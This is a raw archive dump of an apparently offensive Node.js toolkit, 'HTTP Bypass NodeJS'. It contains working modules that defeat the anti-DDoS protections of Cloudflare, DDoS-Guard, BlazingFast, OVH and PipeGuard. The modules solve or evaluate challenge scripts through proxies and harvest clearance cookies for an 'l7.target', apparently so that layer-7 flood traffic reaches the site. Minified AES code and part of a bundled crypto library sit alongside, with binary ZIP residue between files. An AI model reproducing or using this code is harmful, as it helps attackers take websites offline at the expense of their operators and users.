4,43,32,17,26,7,12,101,110,115,120,73,66,95,84,247,252,225,234,219,208,205,198,175,164,185,178,131,136,149,158,71,76,81,90,107,96,125,118,31,20,9,2,51,56,37,46,140,135,154,145,160,171,182,189,212,223,194,201,248,243,238,229,60,55,42,33,16,27,6,13,100,111,114,121,72,67,94,85,1,10,23,28,45,38,59,48,89,82,79,68,117,126,99,104,177,186,167,172,157,150,139,128,233,226,255,244,197,206,211,216,122,113,108,103,86,93,64,75,34,41,52,63,14,5,24,19,202,193,220,215,230,237,240,251,146,153,132,143,190,181,168,163],GDX:[0,13,26,23,52,57,46,35,104,101,114,127,92,81,70,75,208,221,202,199,228,233,254,243,184,181,162,175,140,129,150,155,187,182,161,172,143,130,149,152,211,222,201,196,231,234,253,240,107,102,113,124,95,82,69,72,3,14,25,20,55,58,45,32,109,96,119,122,89,84,67,78,5,8,31,18,49,60,43,38,189,176,167,170,137,132,147,158,213,216,207,194,225,236,251,246,214,219,204,193,226,239,248,245,190,179,164,169,138,135,144,157,6,11,28,17,50,63,40,37,110,99,116,121,90,87,64,77,218,215,192,205,238,227,244,249,178,191,168,165,134,139,156,145,10,7,16,29,62,51,36,41,98,111,120,117,86,91,76,65,97,108,123,118,85,88,79,66,9,4,19,30,61,48,39,42,177,188,171,166,133,136,159,146,217,212,195,206,237,224,247,250,183,186,173,160,131,142,153,148,223,210,197,200,235,230,241,252,103,106,125,112,83,94,73,68,15,2,21,24,59,54,33,44,12,1,22,27,56,53,34,47,100,105,126,115,80,93,74,71,220,209,198,203,232,229,242,255,180,185,174,163,128,141,154,151],GEX:[0,14,28,18,56,54,36,42,112,126,108,98,72,70,84,90,224,238,252,242,216,214,196,202,144,158,140,130,168,166,180,186,219,213,199,201,227,237,255,241,171,165,183,185,147,157,143,129,59,53,39,41,3,13,31,17,75,69,87,89,115,125,111,97,173,163,177,191,149,155,137,135,221,211,193,207,229,235,249,247,77,67,81,95,117,123,105,103,61,51,33,47,5,11,25,23,118,120,106,100,78,64,82,92,6,8,26,20,62,48,34,44,150,152,138,132,174,160,178,188,230,232,250,244,222,208,194,204,65,79,93,83,121,119,101,107,49,63,45,35,9,7,21,27,161,175,189,179,153,151,133,139,209,223,205,195,233,231,245,251,154,148,134,136,162,172,190,176,234,228,246,248,210,220,206,192,122,116,102,104,66,76,94,80,10,4,22,24,50,60,46,32,236,226,240,254,212,218,200,198,156,146,128,142,164,170,184,182,12,2,16,30,52,58,40,38,124,114,96,110,68,74,88,86,55,57,43,37,15,1,19,29,71,73,91,85,127,113,99,109,215,217,203,197,239,225,243,253,167,169,187,181,159,145,131,141],core:function(i,t){i=this.rotate(i);for(var r=0;4>r;++r)i[r]=this.sbox[i[r]];return i[0]=i[0]^this.Rcon[t],i},expandKey:function(i,t){for(var r=16*(this.numberOfRounds(t)+1),o=0,n=1,s=[],e=[],a=0;r>a;a++)e[a]=0;for(var h=0;t>h;h++)e[h]=i[h];for(o+=t;r>o;){for(var u=0;4>u;u++)s[u]=e[o-4+u];if(o%t==0&&(s=this.core(s,n++)),t==this.keySize.SIZE_256&&o%t==16)for(var f=0;4>f;f++)s[f]=this.sbox[s[f]];for(var l=0;4>l;l++)e[o]=e[o-t]^s[l],o++}return e},addRoundKey:function(i,t){for(var r=0;16>r;r++)i[r]^=t[r];return i},createRoundKey:function(i,t){for(var r=[],o=0;4>o;o++)for(var n=0;4>n;n++)r[4*n+o]=i[t+4*o+n];return r},subBytes:function(i,t){for(var r=0;16>r;r++)i[r]=t?this.rsbox[i[r]]:this.sbox[i[r]];return i},shiftRows:function(i,t){for(var r=0;4>r;r++)i=this.shiftRow(i,4*r,r,t);return i},shiftRow:function(i,t,r,o){for(var n=0;r>n;n++)if(o){for(var s=i[t+3],e=3;e>0;e--)i[t+e]=i[t+e-1];i[t]=s}else{for(var s=i[t],e=0;3>e;e++)i[t+e]=i[t+e+1];i[t+3]=s}return i},galois_multiplication:function(i,t){for(var r=0,o=0;8>o;o++){1==(1&t)&&(r^=i),r>256&&(r^=256);var n=128&i;i<<=1,i>256&&(i^=256),128==n&&(i^=27),i>256&&(i^=256),t>>=1,t>256&&(t^=256)}return r},mixColumns:function(i,t){for(var r=[],o=0;4>o;o++){for(var n=0;4>n;n++)r[n]=i[4*n+o];r=this.mixColumn(r,t);for(var s=0;4>s;s++)i[4*s+o]=r[s]}return i},mixColumn:function(i,t){var r=[];r=t?[14,9,13,11]:[2,1,1,3];for(var o=[],n=0;4>n;n++)o[n]=i[n];return i[0]=this.galois_multiplication(o[0],r[0])^this.galois_multiplication(o[3],r[1])^this.galois_multiplication(o[2],r[2])^this.galois_multiplication(o[1],r[3]),i[1]=this.galois_multiplication(o[1],r[0])^this.galois_multiplication(o[0],r[1])^this.galois_multiplication(o[3],r[2])^this.galois_multiplication(o[2],r[3]),i[2]=this.galois_multiplication(o[2],r[0])^this.galois_multiplication(o[1],r[1])^this.galois_multiplication(o[0],r[2])^this.galois_multiplication(o[3],r[3]),i[3]=this.galois_multiplication(o[3],r[0])^this.galois_multiplication(o[2],r[1])^this.galois_multiplication(o[1],r[2])^this.galois_multiplication(o[0],r[3]),i},round:function(i,t){return i=this.subBytes(i,!1),i=this.shiftRows(i,!1),i=this.mixColumns(i,!1),i=this.addRoundKey(i,t)},invRound:function(i,t){return i=this.shiftRows(i,!0),i=this.subBytes(i,!0),i=this.addRoundKey(i,t),i=this.mixColumns(i,!0)},main:function(i,t,r){i=this.addRoundKey(i,this.createRoundKey(t,0));for(var o=1;r>o;o++)i=this.round(i,this.createRoundKey(t,16*o));return i=this.subBytes(i,!1),i=this.shiftRows(i,!1),i=this.addRoundKey(i,this.createRoundKey(t,16*r))},invMain:function(i,t,r){i=this.addRoundKey(i,this.createRoundKey(t,16*r));for(var o=r-1;o>0;o--)i=this.invRound(i,this.createRoundKey(t,16*o));return i=this.shiftRows(i,!0),i=this.subBytes(i,!0),i=this.addRoundKey(i,this.createRoundKey(t,0))},numberOfRounds:function(i){var t;switch(i){case this.keySize.SIZE_128:t=10;break;case this.keySize.SIZE_192:t=12;break;case this.keySize.SIZE_256:t=14;break;default:return null}return t},encrypt:function(i,t,r){for(var o=[],n=[],s=this.numberOfRounds(r),e=0;4>e;e++)for(var a=0;4>a;a++)n[e+4*a]=i[4*e+a];var h=this.expandKey(t,r);n=this.main(n,h,s);for(var u=0;4>u;u++)for(var f=0;4>f;f++)o[4*u+f]=n[u+4*f];return o},decrypt:function(i,t,r){for(var o=[],n=[],s=this.numberOfRounds(r),e=0;4>e;e++)for(var a=0;4>a;a++)n[e+4*a]=i[4*e+a];var h=this.expandKey(t,r);n=this.invMain(n,h,s);for(var u=0;4>u;u++)for(var f=0;4>f;f++)o[4*u+f]=n[u+4*f];return o}},modeOfOperation:{OFB:0,CFB:1,CBC:2},getBlock:function(i,t,r,o){return r-t>16&&(r=t+16),i.slice(t,r)},encrypt:function(i,t,r,o){var n=r.length;if(o.length%16)throw"iv length must be 128 bits.";var s=[],e=[],a=[],h=[],u=[],f=!0;if(t==this.modeOfOperation.CBC&&this.padBytesIn(i),null!==i)for(var l=0;l<Math.ceil(i.length/16);l++){var c=16*l,v=16*l+16;if(16*l+16>i.length&&(v=i.length),s=this.getBlock(i,c,v,t),t==this.modeOfOperation.CFB){f?(a=this.aes.encrypt(o,r,n),f=!1):a=this.aes.encrypt(e,r,n);for(var d=0;16>d;d++)h[d]=s[d]^a[d];for(var p=0;v-c>p;p++)u.push(h[p]);e=h}else if(t==this.modeOfOperation.OFB){f?(a=this.aes.encrypt(o,r,n),f=!1):a=this.aes.encrypt(e,r,n);for(var d=0;16>d;d++)h[d]=s[d]^a[d];for(var p=0;v-c>p;p++)u.push(h[p]);e=a}else if(t==this.modeOfOperation.CBC){for(var d=0;16>d;d++)e[d]=s[d]^(f?o[d]:h[d]);f=!1,h=this.aes.encrypt(e,r,n);for(var p=0;16>p;p++)u.push(h[p])}}return u},decrypt:function(t,r,o,n){var s=o.length;if(n.length%16)throw"iv length must be 128 bits.";var e=[],a=[],h=[],u=[],f=[],l=!0;if(null!==t){for(var c=0;c<Math.ceil(t.length/16);c++){var v=16*c,d=16*c+16;if(16*c+16>t.length&&(d=t.length),e=this.getBlock(t,v,d,r),r==this.modeOfOperation.CFB){for(l?(h=this.aes.encrypt(n,o,s),l=!1):h=this.aes.encrypt(a,o,s),i=0;i<16;i++)u[i]=h[i]^e[i];for(var p=0;d-v>p;p++)f.push(u[p]);a=e}else if(r==this.modeOfOperation.OFB){for(l?(h=this.aes.encrypt(n,o,s),l=!1):h=this.aes.encrypt(a,o,s),i=0;i<16;i++)u[i]=h[i]^e[i];for(var p=0;d-v>p;p++)f.push(u[p]);a=h}else if(r==this.modeOfOperation.CBC){for(h=this.aes.decrypt(e,o,s),i=0;i<16;i++)u[i]=(l?n[i]:a[i])^h[i];l=!1;for(var p=0;d-v>p;p++)f.push(u[p]);a=e}}r==this.modeOfOperation.CBC&&this.unpadBytesOut(f)}return f},padBytesIn:function(i){for(var t=i.length,r=16-t%16,o=0;r>o;o++)i.push(r)},unpadBytesOut:function(i){for(var t=0,r=-1,o=16,n=i.length-1;n>=i.length-1-o&&i[n]<=o;n--){if(-1==r&&(r=i[n]),i[n]!=r){t=0;break}if(t++,t==r)break}t>0&&i.splice(i.length-t,t)}};PK
J�O�0H
##*HTTP Bypass NodeJS/bypasses/blazingfast.jsmodule.exports = function Blazingfast() {
    const request = require('request'),
        BFCrypt = require('./bfcrypt'),
        cloudscraper = require('cloudscraper').defaults({
            agentOptions: {
                ciphers: 'ECDHE-ECDSA-AES128-GCM-SHA256'
            }
        }),
        safeEval = require('safe-eval');

    function randomScreenWidth() {
        return ~~(Math.random() * (2560 - 1024) + 1024)
    }

    function toNumbers(d) {
        var e = [];
        d.replace(/(..)/g, function (d) {
            e.push(parseInt(d, 16))
        });
        return e
    }

    function toHex() {
        for (var d = [], d = 1 == arguments.length && arguments[0].constructor == Array ? arguments[0] : arguments, e = "", f = 0; f <
            d.length; f++) e += (16 > d[f] ? "0" : "") + d[f].toString(16);
        return e.toLowerCase()
    }

    let document = {
        cookie: ''
    }

    function atob(string) {
        return Buffer.from(string, 'base64').toString('ascii');
    }
    
    return async function cookie(proxy, uagent, callback) {
        var cookie = "";
        if (l7.firewall[1] === '5sec') {
            request.get({
                url: l7.parsed.protocol + '//' + l7.parsed.host,
                gzip: true,
                proxy: proxy,
                headers: {
                    'User-Agent': uagent,
                    'Connection': 'keep-alive',
                    'Cache-Control': 'max-age=0',
                    'Upgrade-Insecure-Requests': 1,
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                    'Accept-Encoding': 'gzip, deflate',
                    'Accept-Language': 'en-US,en;q=0.9'
                }
            }, async (err, res, body) => {
                if (!res || !res.headers['set-cookie'] || !body) {
                    return false;
                }
                cookie = res.headers['set-cookie'].shift().split(';').shift();
                let url = l7.parsed.protocol + '//' + l7.parsed.host + '/___S___/' + body.split(';xhr.open("GET","/___S___/')[1].split('",true),xhr.onrea')[0].replace('" + ww +"', randomScreenWidth());
                await request.get({
                    url: l7.parsed.protocol + '//' + l7.parsed.host + '/jquery.min.js',
                    proxy: proxy,
                    gzip: true,
                    headers: {
                        'Connection': 'keep-alive',
                        'User-Agent': uagent,
                        'Accept': '*/*',
                        'DNT': 1,
                        'Referer': l7.target,
                        'Accept-Encoding': 'gzip, deflate',
                        'Accept-Language': 'en-US,en;q=0.5',
                        'Cookie': cookie
                    }
                }, async (err, res, body) => {
                    if (err || !res || !body) {
                        return false;
                    }
                    await request.get({
                        url,
                        proxy: proxy,
                        gzip: true,
                        headers: {
                            'Connection': 'keep-alive',
                            'User-Agent': uagent,
                            'Accept': '*/*',
                            'DNT': 1,
                            'Referer': l7.parsed.protocol + '//' + l7.parsed.host,
                            'Accept-Encoding': 'gzip, deflate',
                            'Accept-Language': 'en-US,en;q=0.5',
                            'Cookie': cookie
                        }
                    }, (err, res, body) => {
                        if (err || !body || body.indexOf('if($(window).width()>0) { document.cookie=') == -1 || !res) return false;
                        let chl = 'var a=toNumbers' + body.split('var a=toNumbers')[1].replace(' if($(window).width()>0) { document.cookie=', 'document.cookie=').split('+"; domain =')[0]
                        let final = cookie + '; ' + eval(chl);
                        callback(final);
                    });
                });
            });
        } else if (['5sec2'].indexOf(l7.firewall[1]) !== -1) {
            setTimeout(() => {
                cloudscraper.get({
                    url: l7.parsed.protocol + '//' + l7.parsed.host,
                    gzip: true,
                    proxy: proxy,
                    headers: {
                        'User-Agent': uagent,
                        'Connection': 'keep-alive',
                        'Cache-Control': 'no-cache',
                        'Pragma': 'no-cache',
                        'Upgrade-Insecure-Requests': 1,
                        'Cache-Control': 'no-cache',
                        'Accept-Encoding': 'gzip, deflate, br',
                        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                        'Accept-Language': 'en-US,en;q=0.9'
                    }
                }, async (err, res, body) => {
                    if (!res || !res.headers['set-cookie'] || !body || body.indexOf('r.value = "') == -1) {
                        return false;
                    }
                    let url = l7.parsed.protocol + '//' + l7.parsed.host + '/blzgfst-shark/?bfu=' + encodeURI(body.split('r.value = "')[1].split("\";var _0xf8c2=['value'];")[0]) + '&blazing_answer=' + safeEval(body.split("return _0x8cc65;};a[_0x2f8c('0x0')]=")[1].split(';')[0]);
                    cookie = res.headers['set-cookie'].shift().split(';').shift();
                    await cloudscraper.get({
                        url,
                        gzip: true,
                        proxy: proxy,
                        followAllRedirects: true,
                        jar: true,
                        headers: {
                            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                            'Connection': 'keep-alive',
                            'User-Agent': uagent,
                            'Referer': l7.target,
                            'Pragma': 'no-cache',
                            'Cache-Control': 'no-cache',
                            'Upgrade-Insecure-Requests': 1,
                            'Accept-Encoding': 'gzip, deflate, br',
                            'Accept-Language': 'en-US,en;q=0.5',
                            'TE': 'Trailers',
                            'Cookie': cookie
                        }
                    }, (err, res, body) => {
                        if (err || !res) return false;
                        let final = res.request.headers.Cookie;
                        callback(final);
                    });
                });
            }, 5e3);

        };
    }
}PK
J�O��q���-HTTP Bypass NodeJS/bypasses/browser_engine.jsmodule.exports = function BrowserEngine() {
    const Browser = require('zombie');

    return function bypass(proxy, uagent, callback) {
        var cookie = false;
        var browser = new Browser();
        browser.maxDuration = 400e3;
        browser.maxWait = 380e3;
        browser.proxy = proxy;
        browser.userAgent = uagent;
        browser.waitDuration = '1000s';
        browser.visit(l7.target, () => {
            browser.wait(370e3, () => {
                browser.reload();
                browser.wait(50e3, async () => {
                    if (browser.cookies.length > 0) {
                        await browser.cookies.forEach(acookie => {
                            if (!cookie) {
                                cookie = acookie.key + '=' + acookie.value;
                            } else {
                                cookie += ('; ' + acookie.key + '=' + acookie.value);
                            }
                        });
                        await callback(cookie);
                    } else {
                        await callback(false);
                    }
                    await browser.deleteCookies();
                    await browser.window.close();
                    await browser.destroy();
                    browser = undefined;
                    delete browser;
                    return false;
                })
            });
        });
    }
}PK
J�O5�D�z%z%)HTTP Bypass NodeJS/bypasses/cloudflare.jsmodule.exports = function Cloudflare() {
    const privacypass = require('./privacypass'),
        cloudscraper = require('cloudscraper'),
        request = require('request');
    var privacyPassSupport = true;
    var bypassHeader = false;

    function useNewToken() {
        bypassHeader = privacypass(l7.target);
        console.log('[cloudflare-bypass ~ privacypass]: generated new token ::', bypassHeader);
    }

    if (l7.firewall[1] == 'captcha') {
        privacyPassSupport = l7.firewall[2];
        useNewToken();
    }

    function bypass(proxy, uagent, callback, force) {
        var cookie = "";
        if (l7.firewall[1] == 'captcha' || force && privacyPassSupport) {
            request.get({
                url: l7.target,
                gzip: true,
                proxy: proxy,
                gzip: true,
                headers: {
                    'Connection': 'Keep-Alive',
                    'Cache-Control': 'max-age=0',
                    'Upgrade-Insecure-Requests': 1,
                    'User-Agent': uagent,
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                    'Accept-Encoding': 'gzip, deflate, br',
                    'Accept-Language': 'en-US;q=0.9'
                }
            }, (err, res) => {
                if (!res) {
                    return false;
                }
                if (res.headers['cf-chl-bypass'] && res.headers['cf-chl-bypass'] == '1') {
                    if (!res.headers['set-cookie']) {
                        return false;
                    }
                } else {
                    if (l7.firewall[1] == 'captcha') {
                        console.warn('[cloudflare-bypass]: The target is not supporting privacypass, now closing rip...');
                        process.exit(34);
                        return false;
                    } else {
                        privacyPassSupport = false;
                    }
                }
    
                cookie = res.headers['set-cookie'].shift().split(';').shift();
                if (l7.firewall[1] == 'captcha' && privacyPassSupport || force && privacyPassSupport) {
                    cloudscraper.get({
                        url: l7.target,
                        gzip: true,
                        proxy: proxy,
                        headers: {
                            'Connection': 'Keep-Alive',
                            'Cache-Control': 'max-age=0',
                            'Upgrade-Insecure-Requests': 1,
                            'User-Agent': uagent,
                            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                            'Accept-Encoding': 'gzip, deflate, br',
                            'Accept-Language': 'en-US;q=0.9',
                            'challenge-bypass-token': bypassHeader,
                            "Cookie": cookie
                        }
                    }, (err, res) => {
                        if (err || !res) return false;
                        if (res.headers['set-cookie']) {
                            cookie += '; ' + res.headers['set-cookie'].shift().split(';').shift();
                            cloudscraper.get({
                                url: l7.target,
                                proxy: proxy,
                                headers: {
                                    'Connection': 'Keep-Alive',
                                    'Cache-Control': 'max-age=0',
                                    'Upgrade-Insecure-Requests': 1,
                                    'User-Agent': uagent,
                                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                                    'Accept-Encoding': 'gzip, deflate, br',
                                    'Accept-Language': 'en-US;q=0.9',
                                    "Cookie": cookie
                                }
                            }, (err, res, body) => {
                                if (err || !res || res && res.statusCode == 403) {
                                    console.warn('[cloudflare-bypass ~ privacypass]: Failed to bypass with privacypass, generating new token:');
                                    useNewToken();
                                    return;
                                }
                                callback(cookie);
                            });
                        } else {
                            console.log(res.statusCode, res.headers);
                            if (res.headers['cf-chl-bypass-resp']) {
                                let respHeader = res.headers['cf-chl-bypass-resp'];
                                switch (respHeader) {
                                    case '6':
                                        console.warn("[privacy-pass]: internal server connection error occurred");
                                        useNewToken();
                                        break;
                                    case '5':
                                        console.warn(`[privacy-pass]: token verification failed for ${l7.target}`);
                                        break;
                                    case '7':
                                        console.warn(`[privacy-pass]: server indicated a bad client request`);
                                        break;
                                    case '8':
                                        console.warn(`[privacy-pass]: server sent unrecognised response code (${header.value})`);
                                        break;
                                }
                                return bypass(proxy, uagent, callback, true);
                            }
                        }
                    });
                } else {
                    cloudscraper.get({
                        url: l7.target,
                        proxy: proxy,
                        headers: {
                            'Connection': 'Keep-Alive',
                            'Cache-Control': 'max-age=0',
                            'Upgrade-Insecure-Requests': 1,
                            'User-Agent': uagent,
                            'Accept-Language': 'en-US;q=0.9'
                        }
                    }, (err, res) => {
                        if (err || !res || !res.request.headers.cookie) {
                            if (err) {
                                if (err.name == 'CaptchaError') {
                                    return bypass(proxy, uagent, callback, true);
                                }
                            }
                            return false;
                        }
                        callback(res.request.headers.cookie);
                    });
                }
            });
        } else if (l7.firewall[1] == 'uam' && privacyPassSupport == false) {
            cloudscraper.get({
                url: l7.target,
                proxy: proxy,
                headers: {
                    'Upgrade-Insecure-Requests': 1,
                    'User-Agent': uagent
                }
            }, (err, res, body) => {
                if (err) {
                    if (err.name == 'CaptchaError') {
                        return bypass(proxy, uagent, callback, true);
                    }
                    return false;
                }
                if (res && res.request.headers.cookie) {
                    callback(res.request.headers.cookie);
                } else if (res && body && res.headers.server == 'cloudflare') {
                    if (res && body && /Why do I have to complete a CAPTCHA/.test(body) && res.headers.server == 'cloudflare' && res.statusCode !== 200) {
                        return bypass(proxy, uagent, callback, true);
                    }
                } else {
    
                }
            });
        } else {
            cloudscraper.get({
                url: l7.target,
                gzip: true,
                proxy: proxy,
                headers: {
                    'Connection': 'Keep-Alive',
                    'Cache-Control': 'max-age=0',
                    'Upgrade-Insecure-Requests': 1,
                    'User-Agent': uagent,
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                    'Accept-Encoding': 'gzip, deflate, br',
                    'Accept-Language': 'en-US;q=0.9'
                }
            }, (err, res, body) => {
                if (err || !res || !body || !res.headers['set-cookie']) {
                    if (res && body && /Why do I have to complete a CAPTCHA/.test(body) && res.headers.server == 'cloudflare' && res.statusCode !== 200) {
                        return bypass(proxy, uagent, callback, true);
                    }
                    return false;
                }
                cookie = res.headers['set-cookie'].shift().split(';').shift();
                callback(cookie);
            });
        }
    }

    return bypass;
}PK
J�O��]((HTTP Bypass NodeJS/bypasses/ddosguard.jsmodule.exports = function DDoSGuard() {
    const request = require('request'),
        cloudscraper = require('cloudscraper');

    function encode(string) {
        return Buffer.from(string).toString('base64');
    }

    var hS, uS, pS;
    hS = encode(l7.parsed.protocol + '//' + l7.parsed.host);
    uS = encode(l7.parsed.path);
    pS = encode(l7.parsed.port || '');

    function bypass(proxy, uagent, callback, force, cookie) {
        if (!cookie) {
            cookie = '';
        }
        if (['5sec', 'free'].indexOf(l7.firewall[1]) !== -1 || force) {
            cloudscraper.get({
                url: l7.parsed.protocol + '//ddgu.ddos-guard.net/g',
                gzip: true,
                proxy: proxy,
                headers: {
                    'Connection': 'keep-alive',
                    'Cache-Control': 'max-age=0',
                    'Upgrade-Insecure-Requests': 1,
                    'User-Agent': uagent,
                    'Accept': 'image/webp,*/*',
                    'Accept-Encoding': 'gzip, deflate, br',
                    'Accept-Language': 'en-US;q=0.9',
                    'Referer': l7.target,
                    'Origin': l7.parsed.protocol + '//' + l7.parsed.host
                }
            }, (err, res, body) => {
                if (err || !res || !body) {
                    return false;
                }

                cloudscraper.get({
                    url: l7.parsed.protocol + '//ddgu.ddos-guard.net/c',
                    gzip: true,
                    proxy: proxy,
                    headers: {
                        'Connection': 'Keep-Alive',
                        'Cache-Control': 'max-age=0',
                        'Upgrade-Insecure-Requests': 1,
                        'User-Agent': uagent,
                        'Accept': '*/*',
                        'Accept-Encoding': 'gzip, deflate, br',
                        'Referer': l7.parsed.protocol + '//' + l7.parsed.host + '/',
                        Origin: l7.parsed.protocol + '//' + l7.parsed.host,
                        'Accept-Language': 'en-US;q=0.9'
                    }
                }, (err, res, body) => {
                    if (err || !res || !body) {
                        return false;
                    }

                    cloudscraper.post({
                        url: l7.parsed.protocol + '//ddgu.ddos-guard.net/ddgu/',
                        gzip: true,
                        proxy: proxy,
                        jar: true,
                        followAllRedirects: true,
                        headers: {
                            'Connection': 'Keep-Alive',
                            'Cache-Control': 'max-age=0',
                            'Upgrade-Insecure-Requests': 1,
                            'User-Agent': uagent,
                            'Content-Type': 'application/x-www-form-urlencoded',
                            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                            'Accept-Encoding': 'gzip, deflate, br',
                            "Referer": l7.parsed.protocol + '//' + l7.parsed.host + '/',
                            'Accept-Language': 'en-US;q=0.9'
                        },
                        form: {
                            u: uS,
                            h: hS,
                            p: pS
                        }
                    }, (err, res, body) => {
                        if (err || !res || !body) {
                            return false;
                        }
                        callback(res.request.headers.cookie);
                    });
                });
            });
        } else {
            cloudscraper.get({
                url: l7.target,
                gzip: true,
                proxy: proxy,
                jar: true,
                followAllRedirects: true,
                headers: {
                    'Connection': 'Keep-Alive',
                    'Cache-Control': 'max-age=0',
                    'Upgrade-Insecure-Requests': 1,
                    'User-Agent': uagent,
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                    'Accept-Encoding': 'gzip, deflate, br',
                    'Accept-Language': 'en-US;q=0.9'
                }
            }, (err, res, body) => {
                if (err || !res || !body) {
                    return false;
                }
                if (res.request.headers.cookie) {
                    callback(res.request.headers.cookie);
                } else {
                    if (res.statusCode == 403 && body.indexOf("<title>DDOS-GUARD</title>") !== -1) {
                        return bypass(proxy, uagent, callback, true);
                    } else {
                        return false;
                    }
                }
            });
        }
    }

    return bypass;
}PK
J�O-��}}$HTTP Bypass NodeJS/bypasses/index.jsmodule.exports = {
    ddosguard:require('./ddosguard'),
    blazingfast: require('./blazingfast'),
    browser_engine: require('./browser_engine'),
    ovh: require('./ovh'),
    pipeguard: require('./pipeguard'),
    privacypass: require('./privacypass'),
    sucuri: require('./sucuri'),
    cloudflare: require('./cloudflare'),
    stormwall: require('./stormwall')
}PK
J�Oj�{��"HTTP Bypass NodeJS/bypasses/ovh.jsmodule.exports = function OVHUAM() {
    const request = require('request');

    function Bypasser(body, callback) {
        callback('xf_id=' + body.match(/\|max\|(.*?)\|/)[1]);
    }

    return function bypass(proxy, uagent, callback) {
        request({
            url: l7.target,
            method: "GET",
            gzip: true,
            proxy: proxy,
            headers: {
                'Connection': 'keep-alive',
                'Cache-Control': 'max-age=0',
                'Upgrade-Insecure-Requests': 1,
                'User-Agent': uagent,
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                'Accept-Encoding': 'gzip, deflate, br',
                'Accept-Language': 'en-US'
            }
        }, (err, res, body) => {
            if (err || !res || !body || body.indexOf('|href|max|') == -1) {
                return false;
            }
            Bypasser(body, cookies => {
                request({
                    url: l7.target,
                    method: "GET",
                    gzip: true,
                    proxy: proxy,
                    followAllRedirects: true,
                    jar: true,
                    headers: {
                        'Connection': 'keep-alive',
                        'Cache-Control': 'max-age=0',
                        'Upgrade-Insecure-Requests': 1,
                        'User-Agent': uagent,
                        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8',
                        'Accept-Encoding': 'gzip, deflate, br',
                        'Accept-Language': 'en-US,en;q=0.9',
                        'Cookie': cookies
                    }
                }, (err, res, body) => {
                    if (res && res.request.headers.Cookie) {
                        //console.log(res.request.headers.Cookie);
                        callback(res.request.headers.Cookie);
                    }
                    /*if (err || !res || !body) {
                        return false;
                    }*/
                });
            })
        });
    }
}PK
J�Ot���		(HTTP Bypass NodeJS/bypasses/pipeguard.jsmodule.exports = function PipeGuard() {
    const request = require('request');

    function Bypasser(body, callback) {
        callback(body.match(/PipeGuard=([^\\s;]*)/)[0]);
    }

    return function bypass(proxy, uagent, callback) {
        request({
            url: l7.target,
            method: "GET",
            gzip: true,
            followAllRedirects: true,
            jar: true,
            proxy: proxy,
            headers: {
                'Connection': 'keep-alive',
                'Cache-Control': 'max-age=0',
                'Upgrade-Insecure-Requests': 1,
                'User-Agent': uagent,
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8',
                'Accept-Encoding': 'gzip, deflate, br',
                'Accept-Language': 'en-US,en;q=0.9'
            }
        }, (err, res, body) => {
            if (err || !res || !body || body.indexOf('document.cookie = "PipeGuard=') == -1) {
                return false;
            }
            Bypasser(body, cookies => {
                request({
                    url: l7.target,
                    method: "GET",
                    gzip: true,
                    proxy: proxy,
                    followAllRedirects: true,
                    jar: true,
                    headers: {
                        'Connection': 'keep-alive',
                        'Cache-Control': 'max-age=0',
                        'Upgrade-Insecure-Requests': 1,
                        'User-Agent': uagent,
                        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8',
                        'Accept-Encoding': 'gzip, deflate, br',
                        'Accept-Language': 'en-US,en;q=0.9',
                        'Cookie': cookies
                    }
                }, (err, res, body) => {
                    if (res && res.request.headers.Cookie) {
                        //console.log(res.request.headers.Cookie);
                        callback(res.request.headers.Cookie);
                    }
                    /*if (err || !res || !body) {
                        return false;
                    }*/
                });
            })
        });
    }
}PK
J�O���eP�P�*HTTP Bypass NodeJS/bypasses/privacypass.jsconst request = require('request'),
    url = require('url'),
    fs = require('fs');

/** @fileOverview Javascript cryptography implementation.
 *
 * Crush to remove comments, shorten variable names and
 * generally reduce transmission size.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

"use strict";
/*jslint indent: 2, bitwise: false, nomen: false, plusplus: false, white: false, regexp: false */
/*global document, window, escape, unescape, module, require, Uint32Array */

/**
 * The Stanford Javascript Crypto Library, top-level namespace.
 * @namespace
 */
var sjcl = {
    /**
     * Symmetric ciphers.
     * @namespace
     */
    cipher: {},

    /**
     * Hash functions.  Right now only SHA256 is implemented.
     * @namespace
     */
    hash: {},

    /**
     * Key exchange functions.  Right now only SRP is implemented.
     * @namespace
     */
    keyexchange: {},

    /**
     * Cipher modes of operation.
     * @namespace
     */
    mode: {},

    /**
     * Miscellaneous.  HMAC and PBKDF2.
     * @namespace
     */
    misc: {},

    /**
     * Bit array encoders and decoders.
     * @namespace
     *
     * @description
     * The members of this namespace are functions which translate between
     * SJCL's bitArrays and other objects (usually strings).  Because it
     * isn't always clear which direction is encoding and which is decoding,
     * the method names are "fromBits" and "toBits".
     */
    codec: {},

    /**
     * Exceptions.
     * @namespace
     */
    exception: {
        /**
         * Ciphertext is corrupt.
         * @constructor
         */
        corrupt: function (message) {
            this.toString = function () {
                return "CORRUPT: " + this.message;
            };
            this.message = message;
        },

        /**
         * Invalid parameter.
         * @constructor
         */
        invalid: function (message) {
            this.toString = function () {
                return "INVALID: " + this.message;
            };
            this.message = message;
        },

        /**
         * Bug or missing feature in SJCL.
         * @constructor
         */
        bug: function (message) {
            this.toString = function () {
                return "BUG: " + this.message;
            };
            this.message = message;
        },

        /**
         * Something isn't ready.
         * @constructor
         */
        notReady: function (message) {
            this.toString = function () {
